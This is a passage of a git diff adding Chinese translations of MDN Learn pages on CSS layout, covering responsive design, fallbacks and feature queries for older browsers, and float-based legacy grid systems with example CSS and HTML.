note"> +<p><strong>备注:</strong> 有一个CSS @规则是被设计用来替换掉视口元标签的——<a href="/en-US/docs/Web/CSS/@viewport">@viewport</a>——但是浏览器对它的支持太差了。它是在IE和Edge中引入的,但自从Chromium内核的Edge发布以后,它就不再受到Edge浏览器支持了。</p> +</div> + +<h2 id="小结">小结</h2> + +<p>响应式设计指的是一个响应浏览环境的网页或者应用设计。它涵盖了很多CSS和HTML的功能和技术,现在基本上就是我们默认建设网站的方式。想一下你在手机上访问的网站,遇到一个缩放的桌面版网站,或者你需要向侧边滚动来寻找东西的网站可能是相当不寻常的。这是因为Web已经迁移到了这种响应式设计的方式上。</p> + +<p>在这些课里学到的布局方式的帮助下,实现响应式设计也变得愈加简单。如果你今天新近了解Web开发,那么你与响应式设计早期相比,手边有多得多的工具。因而,你有必要检查下你所引用的任何材料的年纪。尽管历史上的文章仍然有用,现代的CSS和HTML的使用让创建一个优雅且实用的设计变得远远更加容易,且无论你的访客使用什么设备浏览网站。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ul> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">介绍CSS布局</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">正常布局流</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">网格</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">浮动</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">定位</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">多列布局</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">响应式设计</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">媒体查询入门指南</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">传统布局方法</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">支持旧浏览器</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基本布局掌握测验</a></li> +</ul> diff --git a/files/zh-cn/learn/css/css_layout/supporting_older_browsers/index.html b/files/zh-cn/learn/css/css_layout/supporting_older_browsers/index.html new file mode 100644 index 0000000000..8a9e4b9126 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/supporting_older_browsers/index.html @@ -0,0 +1,237 @@ +--- +title: 支持旧浏览器 +slug: Learn/CSS/CSS_layout/Supporting_Older_Browsers +translation_of: Learn/CSS/CSS_layout/Supporting_Older_Browsers +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p> + +<p class="summary">本文中,我们推荐使用弹性盒和网格作为你的设计的主要布局方式。但是,你的网站的访客会有人使用旧浏览器,或者是不支持你已经使用的方式。这总是Web上存在的情况,因为新的特性被开发出来,不同的浏览器会优先支持不同的特性。本文解释了如何使用现代的Web技术,而无需让采用旧技术的用户被拒之门外。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>HTML基础(学习<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML介绍</a>),了解CSS工作的原理(学习<a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">CSS介绍</a>和<a href="/zh-CN/docs/Learn/CSS/Styling_boxes">样式化盒子</a>)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解怎么让你的布局为旧有的、不支持你想要使用的特性的浏览器提供支持。</td> + </tr> + </tbody> +</table> + +<h2 id="对于你的站点来说,浏览器生态是怎样的?">对于你的站点来说,浏览器生态是怎样的?</h2> + +<p>每个网站论目标用户都是不同的,在决定采用哪种方式之前,你需要查明使用旧浏览器浏览你的站点的用户的数量。如果你有一个已有的网站,你想要润色或者替换它,这是一件直截了当的事情,因为你很可能有了可用的、可以告诉你人们使用的技术的分析。如果你没有分析,或者这是一个全新的网站,那么例如<a href="http://gs.statcounter.com/">Statcounter</a>之类的站点可以提供以位置分类的数据。</p> + +<p>你应该同样考虑设备的类型和人们使用你的网站的方式。譬如,你可能更想有超出平均数量的移动设备的访问。可访问性和使用辅助性技术的人总应当被考虑,对于一些站点,这问题可能更加重要。以我的经验,开发者经常担心1%的使用旧版IE的用户的体验,而不去照顾多得多的有可访问性需求的用户。</p> + +<h2 id="对你想使用的特性的支持如何?">对你想使用的特性的支持如何?</h2> + +<p>一旦你知道了会访问你的网站的浏览器,你就可以在任何你想使用的技术,与该技术受到的支持以及为不能使用该技术的访客提供一个替代方案的难易度之间做权衡。在MDN上,我们在尽力让这个流程变得容易——在每个详述CSS属性的页面上提供浏览器的兼容性信息。例如,看一下{{cssxref("grid-template-columns")}}页面。在这个页面底部有一个表格,列出了主流的浏览器,还有它们开始支持这个属性的版本。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16047/browser-table.png" style="height: 1178px; width: 2102px;"></p> + +<p>另一个流行的查明一个特性有多受到支持的方式是<a href="https://caniuse.com/">Can I Use</a>网站。这个网站列出了主流的Web平台特性,附有它们的浏览器支持信息。你可以按位置查看使用数据——在你致力于一个用户大多数是世界上的某个区域的网站的时候会有用。你甚至可以链接你的Google Analytics账户,得到基于你的用户的信息。</p> + +<p>理解你的用户拥有的技术,以及支持你可能想要使用的东西,这样你就可以很好地作出你的所有决定,知道最多能多好地支持所有用户。</p> + +<h2 id="支持不意味着“看起来一样”">支持不意味着“看起来一样”</h2> + +<p>一个网站可能不会在所有浏览器上看起来都一样,因为你的一些用户将会是在一部手机上,而另一些用户是在桌面大屏幕上浏览你的网站;类似地,你的一些用户会是使用旧版浏览器的,而另外一些是最新版;你的一些用户可能是在聆听由屏幕阅读器朗读的你的内容,或者已经放大了页面来读到内容。支持所有人意味着提供保守设计版本的你的内容,这样在现代浏览器上,它会看起来很棒,而对于旧浏览器用户而言仍然以最低限度可用。</p> + +<p>基本级别的支持来源于良好地组织你的内容,从而让你的页面的正常布局流有意义。一个使用非常局限的功能手机的用户可能不怎么会体验到你的CSS,但是内容会以让阅读容易的方式流过。因而你应该总是从一个良好组织的HTML文档开始。<em>如果你移除掉你的样式表,你的内容还能被理解吗?</em></p> + +<p>一个选项是,把站点的这种原始视图作为回滚,用在使用很老旧或者受局限的浏览器的用户身上。如果你没有多少来到站点的人是使用这些浏览器的,将时间花在尝试给予他们和使用现代浏览器类似的体验上可能没有商业价值。将时间花在让站点具备更多可访问性的事情上,以服务远远更多的用户,可能会是更好的做法。这样的做法在纯HTML页面和花里胡哨之间是有余地的,CSS事实上让建立这些回滚变得简明。</p> + +<h2 id="在CSS中构建回滚">在CSS中构建回滚</h2> + +<p>CSS规范包含了在一个物件上同时应用两种布局的时候,解释浏览器如何反应的信息。例如,规范定义如果一个浮动元素同时又是用CSS网格布局实现的网格元素(Grid Item)的时候会发生什么。结合浏览器会忽略掉它不会理解的CSS的特点组合起来,你就得到了使用我们已经提到的<a href="/zh-CN/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">传统技术</a>构建简单布局的方法,在可以理解你的网格布局的现代浏览器中,传统布局方法会被网格布局覆写掉。</p> + +<p>在下面的示例中,我们已经浮动了三个<code><div></code>,所以它们显示在了一行中。任何使用不支持<a href="/zh-CN/docs/Learn/CSS/CSS_layout/Grids">CSS网格布局</a>的浏览器的人将会看到以浮动布局实现的一列盒子。一个成为了网格物件的浮动物件失去了浮动的动作,就是说通过把wrapper变成网格容器,浮动物件变成了网格物件。如果浏览器器支持网格布局,它会显示网格视图,否则它会忽略<code>display: grid</code>相关的属性,使用浮动布局。</p> + +<div id="Example1"> +<pre class="brush: css notranslate">* {box-sizing: border-box;} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + max-width: 400px; + display: grid; + grid-template-columns: 1fr 1fr 1fr; +} + +.item { + float: left; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +</pre> + +<p>{{ EmbedLiveSample('Example1', '100%', '200') }}</p> +</div> + +<div class="note"> +<p><strong>备注:</strong>{{cssxref("clear")}}属性也在被清除的物件变为网格物件的时候失效,所以你应该在一个会变成网格布局的布局上,加上被清除的尾部。</p> +</div> + +<h3 id="回滚方式">回滚方式</h3> + +<p>有很多布局方式,它们同这个浮动示例使用的方式是类似的。你可以选择能够与你需要建立的布局范式符合得最好的那个。</p> + +<dl> + <dd>浮动和<strong><strong>清除</strong></strong></dd> + <dd>如上所示,如果浮动和清除的物件变成了弹性或网格物件,浮动和清除属性不再影响布局。</dd> + <dt>display: inline-block</dt> + <dd>这种方式能被用来建立列布局,如果一个物件被设为<code>display: inline-block</code>,但是之后变成了弹性或者网格物件,inline-block行为将会被忽略。</dd> + <dt>display: table</dt> + <dd>这种在这几节课的<a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">介绍</a>中描述的建立CSS表格的方式可以被用作回滚。被设为CSS表格布局的物件将会在它们变为弹性或者网格物件的时候不再表现出这种行为。重要的是,被建立起来用于修复表格结构的匿名盒子没有被建立起来。</dd> + <dt>Multiple-column Layout</dt> + <dd>对于某些布局,你能用<a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">multi-col</a>作为回滚。如果你的容器有任何一个<code>column-*</code>属性被定义,之后变成了网格容器,那么多列行为不会实现。</dd> + <dt>作为网格的回滚的弹性盒</dt> + <dd><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒</a>由于受到了IE10和IE11的支持,比网格有着更好的浏览器支持。不过,在这节课的稍后部分,你一定要看下旧浏览器对弹性盒相当参差不齐而且令人困惑的支持的相关信息。如果你把弹性容器做成了网格容器,任何应用到子元素的<code>flex</code>属性都会被忽略。</dd> +</dl> + +<p>对于许多在旧浏览器中微调的布局来说,你可能会发现你能用这种方式使用CSS,给访客亲切的体验。我们加入了一个更简单的基于旧的和受到良好支持技术的布局,然后用新一些的CSS建立一个可以由90%的用户看到的布局。但是存在这样的情况:回滚代码会需要包含新浏览器也能理解的东西;举例来说就是,我们要往我们的浮动物件中加入百分数宽度,从而让列看起来更像网格,拉伸以充满容器。</p> + +<p>在浮动布局中,百分数是依照容器计算的——33.333%是容器宽度的三分之一。但在网格中,这33.333%是根据物件所在的网格区域计算的,所以只要网格布局引入进来,物件的大小实际上变成了我们想要的大小的三分之一。</p> + +<div id="Example2"> +<pre class="brush: css notranslate">* {box-sizing: border-box;} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + max-width: 400px; + display: grid; + grid-template-columns: 1fr 1fr 1fr; +} + +.item { + float: left; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + width: 33.333%; +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +</pre> + +<p>{{ EmbedLiveSample('Example2', '100%', '200') }}</p> +</div> + +<p>为了处理这种问题,我们需要有能够探测网格是否受到支持的方法,也就是探测它是否会覆写宽度的方法。CSS在这里为我们提供了一个解决方法。</p> + +<h2 id="特性查询">特性查询</h2> + +<p>特性查询允许你测试一个浏览器是否支持任何特定的一个CSS特性。这就是说,你可以写一些面向不支持某项特性的浏览器的CSS,然后检查以了解浏览器是否支持,如果支持的话就可以加进你的复杂布局了。</p> + +<p>如果我们向上面的示例中加入了一条特征查询,要是我们知道网格受到支持的话,我们可以用它把我们的物件宽度设定回<code>auto</code>。</p> + +<div id="Example3"> +<pre class="brush: css notranslate">* {box-sizing: border-box;} + +.wrapper { + background-color: rgb(79,185,227); + padding: 10px; + max-width: 400px; + display: grid; + grid-template-columns: 1fr 1fr 1fr; +} + +.item { + float: left; + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + width: 33.333%; +} + +@supports (display: grid) { + .item { + width: auto; + } +} +</pre> + +<pre class="brush: html notranslate"><div class="wrapper"> + <div class="item">Item One</div> + <div class="item">Item Two</div> + <div class="item">Item Three</div> +</div> +</pre> + +<p>{{ EmbedLiveSample('Example3', '100%', '200') }}</p> +</div> + +<p>对特性查询的支持,在各现代浏览器中都是很好的。但是你应该注意那些既不支持CSS网格,也不支持特征查询的浏览器。这就是说在上面详细介绍的一种方式,对这些浏览器而言,会表现得很好。我们要做的是,先在任何特性查询以外,编写我们的旧CSS。不支持网格也不支持特性查询的浏览器会使用这部分它们可以理解的布局信息,将其他东西全都忽略掉。支持特性查询和CSS网格等的浏览器会运行网格代码和特性查询之内的代码。</p> + +<p>对于特性查询的规范,也包含了测试浏览器是否支持某个特性的能力——这只在浏览器支持特性查询的时候有用。未来,一种检测支持的缺失的方式将会实现,同时不支持特性查询的浏览器也将退出历史舞台。但是现在,你要使用这种编写旧CSS的方式,然后覆写它,以求最广泛的支持。</p> + +<h2 id="弹性盒的旧版本">弹性盒的旧版本</h2> + +<p>在旧版浏览器中,你可以找到弹性盒规范的旧有修订版本。在编写这篇文章的时候,这大多数是IE10的问题,它在弹性盒上使用了<code>-ms-</code>前缀。这也意味着现在还存在着一些过时的文章和教程,<a href="https://css-tricks.com/old-flexbox-and-new-flexbox/">这篇有用的指导</a>帮助你分辨你看到的信息;如果你需要在很旧的浏览器中需要flex支持的话,它也会帮到你。</p> + +<h2 id="IE10和IE11的带前缀版的网格">IE10和IE11的带前缀版的网格</h2> + +<p>CSS网格规范最初成形于IE10,也就是说尽管IE10和IE11不支持<em>现代的</em>网格,虽然这种网格和本站记载的现代布局不同,它们还是有一个很堪用的网格布局版本。IE10和IE11的实现是以<code>-ms-</code>为前缀的,也就是说你可以给这两个浏览器用,而在非微软浏览器上,这种属性会被忽略。不过Edge仍然能理解旧语法,所以小心点,让每个东西都安全地在你的现代网格CSS中覆写。</p> + +<p><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">网格布局渐进增强</a>指导能帮你理解IE版的网格,我们在这节课的末尾加入了一些额外的有用的链接。不过,除非你有很多使用旧版IE的访客,你可能发现专注于建立一个由所有不支持的浏览器共用的回滚版本是一个更好的选择。</p> + +<h2 id="测试旧浏览器">测试旧浏览器</h2> + +<p>由于大多数浏览器都支持弹性盒和网格,测试旧浏览器想想就很难。一种方式是使用在线的测试工具,例如Sauce Labs,在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing">跨浏览器测试</a>模块里有详细说明。</p> + +<p>你也可以下载安装虚拟机,在你的电脑的容器环境中运行旧版浏览器。能够使用旧版IE是很有用的,为此,微软已经制作了<a href="https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/">一些可以免费下载的虚拟机</a>。这些对Mac、Windows和Linux操作系统都是可以用的,所以即使你没有Windows电脑,这也是一个测试旧的和现代Windows浏览器的绝佳办法。</p> + +<h2 id="小结">小结</h2> + +<p>你现在有了自信地使用例如网格和弹性盒技术、建立面向旧浏览器的回滚以及利用任何可能会在未来出现的 新技术所需的知识。</p> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">在CSS中使用媒体查询</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">弹性盒的后向兼容性</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS网格布局和渐进优化</a></li> + <li><a href="https://www.smashingmagazine.com/2017/11/css-grid-supporting-browsers-without-grid/">使用CSS网格:支持没有网格的浏览器</a></li> + <li><a href="https://24ways.org/2012/css3-grid-layout/">使用IE10和IE11版网格的教程</a></li> + <li><a href="https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/">我应该尽力使用IE10的网格布局实现吗?</a></li> + <li><a href="https://24ways.org/2017/cascading-web-design/">有特性查询的层叠式Web设计</a></li> + <li><a href="https://gridbyexample.com/learn/2016/12/24/learning-grid-day24/">使用特性查询(视频)</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Introduction">CSS布局介绍</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Normal_Flow">正常布局流</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Grids">网格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Floats">浮动</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Positioning">定位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">多列布局</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Responsive_Design">响应式设计</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Media_queries">媒体查询入门指南</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">传统布局方式</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">支持旧浏览器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基本布局掌握测验</a></li> +</ul> diff --git a/files/zh-cn/learn/css/css_layout/传统的布局方法/index.html b/files/zh-cn/learn/css/css_layout/传统的布局方法/index.html new file mode 100644 index 0000000000..58313b6fdd --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/传统的布局方法/index.html @@ -0,0 +1,577 @@ +--- +title: 传统的布局方法 +slug: Learn/CSS/CSS_layout/传统的布局方法 +translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</p> + +<p class="summary">在CSS布局中,网格系统是一种非常常见的布局方式,并且在CSS 网格布局之前,它们倾向于由浮动和其他的布局功能实现。假想你的布局是一组数字标注的列(例如4、6或者12),然后把你的内容填充到这些想象的列中。这篇文章将要探讨这种早期的方法是怎么实现的,来帮助你在旧项目工作时更好地理解他们。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学习前提:</th> + <td>HTML 基础(学习 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>),并且了解CSS是怎么工作的(学习 <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a> and <a href="/en-US/docs/Learn/CSS/Styling_boxes">Styling boxes</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解浏览器CSS网格布局系统的基本概念。</td> + </tr> + </tbody> +</table> + +<h2 id="CSS网格布局之前的布局与网格系统">CSS网格布局之前的布局与网格系统</h2> + +<p>一个来自设计领域的人或许会惊讶,CSS直到最近才有网格系统,不仅如此,我们还用了许多次优方法来建立类网格设计。我们现在把这些称为“古老”的方法。</p> + +<p>对于新项目来说,大多数情况下CSS网格布局(CSS Grid Layout)被用来和其他一个或多个现代的布局方法结合,以形成布局的基础。但是你会时不时的遇到采用这种古老方法的“网格系统”。值得了解它们是如何工作的,以及为什么它们和CSS网格布局不同。</p> + +<p>这个课程将会解释基于float和flexbox的网格系统和网格框架是如何工作的。学习过网格布局之后,你可能会惊讶,这些看起来真的好复杂!如果你需要为不支持新技术的老浏览器上创建后备代码的话,这些知识将会变的十分有用,而且你也可以在使用这些类别系统的已有工程上工作。</p> + +<p>值得铭记在心的是,在我们探索这些系统时,它们里面没有哪个的建立方式是像通过CSS网格布局创建网格那样,真的建立一个网格。他们通过给目标一个大小, 然后推动它们,让它们<strong>看起来</strong>像网格一样排列成一条线。</p> + +<h2 id="两列布局">两列布局</h2> + +<p>让我们从最简单的实例开始——一个两列布局。你可以按照步骤在你的电脑上创建一个新的 <code>index.html</code>,先用一个<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">简单HTML模板</a>填充它,然后在适当的位置填充下面的代码。在这节底部,你可以看到一个展示最终代码样貌的实时实例。</p> + +<p>首先,我们需要在我们的栏中放入一些内容。把现在在body中的内容替换成下面的代码:</p> + +<pre class="brush: html"><h1>2 column layout example</h1> +<div> + <h2>First column</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> + +<div> + <h2>Second column</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div></pre> + +<p>每一列都需要一个上一级元素来包含内容,这样我们可以一次性操作所有内容。在这个例子中我们选择了{{htmlelement("div")}}, 但是你可以选择其他更合适的,例如{{htmlelement("article")}}, {{htmlelement("section")}}, 和 {{htmlelement("aside")}},或者是任何别的元素。</p> + +<p>现在我们来看CSS。首先,应用以下的代码来对HTML进行基本设置:</p> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +}</pre> + +<p>body将会占据90%的视口宽度,直到达到900像素,在这种情况下,它将固定并保持在视口正中。 默认情况下,它的子项(the {{htmlelement("h1")}} 和两个 {{htmlelement("div")}})将会达到正文宽度的100%。如果我们希望两个{{htmlelement("div")}},一个浮在窗口的一边,另一个浮动在另一边的话, 我们需要将它们的宽度设置为其父元素的100%或者更小,以便他们可以并排放置。将下面的代码加在CSS的底部:</p> + +<pre class="brush: css">div:nth-of-type(1) { + width: 48%; +} + +div:nth-of-type(2) { + width: 48%; +}</pre> + +<p>这里我们将它们都设置为了父元素宽度的48%——总共是96%,在两栏之间留4%的空隙,为它们提供一些宽松的空间。现在我们只需要将让列浮动,像这样:</p> + +<pre class="brush: css">div:nth-of-type(1) { + width: 48%; + float: left; +} + +div:nth-of-type(2) { + width: 48%; + float: right; +}</pre> + +<p>将这些都放在一起,会得到这样的结果:</p> + +<div id="Floated_Two_Col"> +<div class="hidden"> +<h6 id="简单两列布局">简单两列布局</h6> + +<pre class="brush: html"><h1>2 column layout example</h1> + +<div> + <h2>First column</h2> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> + +<div> + <h2>Second column</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div> +</pre> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +div:nth-of-type(1) { + width: 48%; + float: left; +} + +div:nth-of-type(2) { + width: 48%; + float: right; +} +</pre> +</div> +</div> + +<p>{{ EmbedLiveSample('Floated_Two_Col', '100%', 520) }}</p> + +<p>你有没有注意到我们在宽度的表示上都用的是百分比——这是一个很好的策略,这创建了一个<strong>流动布局(liquid layout),</strong>能够适应不同的屏幕大小,在小一些的屏幕上也能使列保持一样的比例。试一试自己来调整浏览器窗口的宽度,这是响应式网页非常有价值的一个工具。</p> + +<div class="note"> +<p><strong>备注:</strong>你可以在 <a href="http://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html">0_two-column-layout.html</a> 实时查看这个实例(另见<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html">源代码</a>)。</p> +</div> + +<h2 id="创建简单的传统网格框架">创建简单的传统网格框架</h2> + +<p>大多数传统的框架使用{{cssxref("float")}}属性来使列相邻排列,让它们看起来像是一个网格。以用float创建网格的流程工作,可以向你展示它们工作的原理,并介绍一些更高级的概念,并在<a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">浮动和清除</a>这节课中学到的内容之上搭建更多的东西。</p> + +<p>最简单的一类网格创建是固定宽度的——我们只需要计算设计中总的宽度、列的数目、每一列和间隔的宽度。但是,如果我们决定设计的网格是可以根据浏览器宽度缩放的,我们则需要计算每一列和间距的所占的宽度的百分比。</p> + +<p>下一部分我们将学习如何创建这两种方式的网格。我们会构建一个有12列的表格——我们选择了12这个常见的数字,来看它对不同情景的适应情况,因为12可以被6,4,3,和2完全整除。</p> + +<h3 id="一个简单的固定宽度网格">一个简单的固定宽度网格</h3> + +<p>让我们先来创建一个固定列宽度的网格系统吧。</p> + +<p>首先,把 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid.html">simple-grid.html</a>下载储存下来,其body中包含以下的标记:</p> + +<pre class="brush: html"><div class="wrapper"> + <div class="row"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + </div> + <div class="row"> + <div class="col span1">13</div> + <div class="col span6">14</div> + <div class="col span3">15</div> + <div class="col span2">16</div> + </div> +</div></pre> + +<p>我们的目标是把它变成一个有两行十二列的演示网格——第一行显示各列的大小,第二行显示网格上不同大小的区域。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13901/simple-grid-finished.png" style="display: block; height: 50px; margin: 0px auto; width: 952px;"></p> + +<p>在{{htmlelement("style")}}中,加入下面的代码,使容器右侧的内边距为20像素,总的宽度变为980像素。这样给我们留出960像素可以放置列和它们的间隔——这种情况下,内边距会被从总的内容宽度中减去,因为我们在{{cssxref("box-sizing")}}中将站点上所有的元素设置成了<code>border-box</code> (可以查看<a href="/zh-CN/docs/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">完全改变盒模型</a>,获得更多解释)。</p> + +<pre class="brush: css">* { + box-sizing: border-box; +} + +body { + width: 980px; + margin: 0 auto; +} + +.wrapper { + padding-right: 20px; +}</pre> + +<p>现在使用包装了网格每行的列容器,清除网格中每行的浮动,在你前面的规则里加入下面的规则:</p> + +<pre class="brush: css">.row { + clear: both; +}</pre> + +<p>应用这条清除规则,意味着我们不用在每行上都填充12列元素。行与行之间不会互相干扰,并保持分隔。</p> + +<p>列与列之间保持20像素的间隔。我们使用每列元素的左外边框来实现这个间隔。然后我们一共有12个间隔 — 12 x 20 = 240。</p> + +<p>我们需要从960px的总宽减去这个间隔,然后剩下720像素给我们的列。如果用720除以12,我们知道每列有60个像素宽。</p> + +<p>接下来我们给<code>.col</code>类写一个规则, 让它向左浮动,给它设置20像素的{{cssxref("margin-left")}}来实现一个间隔,再设置60像素的{{cssxref("width")}}。把下面的规则加到你的CSS底部:</p> + +<pre class="brush: css">.col { + float: left; + margin-left: 20px; + width: 60px; + background: rgb(255, 150, 150); +}</pre> + +<p>单个列的最上面一行现在铺开成为了一个排列整齐的网格。</p> + +<div class="note"> +<p><strong>备注:</strong>我们也已经让每列变成亮红色,这样你就能准确看到每列占据了多少空间。</p> +</div> + +<p>如果我们想让布局容器横跨多列,必须要给它设置特殊的类,来适应列的数量的{{cssxref("width")}} 值(加上间隔的值)。我们需要新建额外的类来允许横跨2-12列。每个宽度是将该列数的列宽加上间隔宽度相加的结果,这些宽度总是比列数少一个。</p> + +<p>在你的CSS底部加入下面的内容:</p> + +<pre class="brush: css">/* Two column widths (120px) plus one gutter width (20px) */ +.col.span2 { width: 140px; } +/* Three column widths (180px) plus two 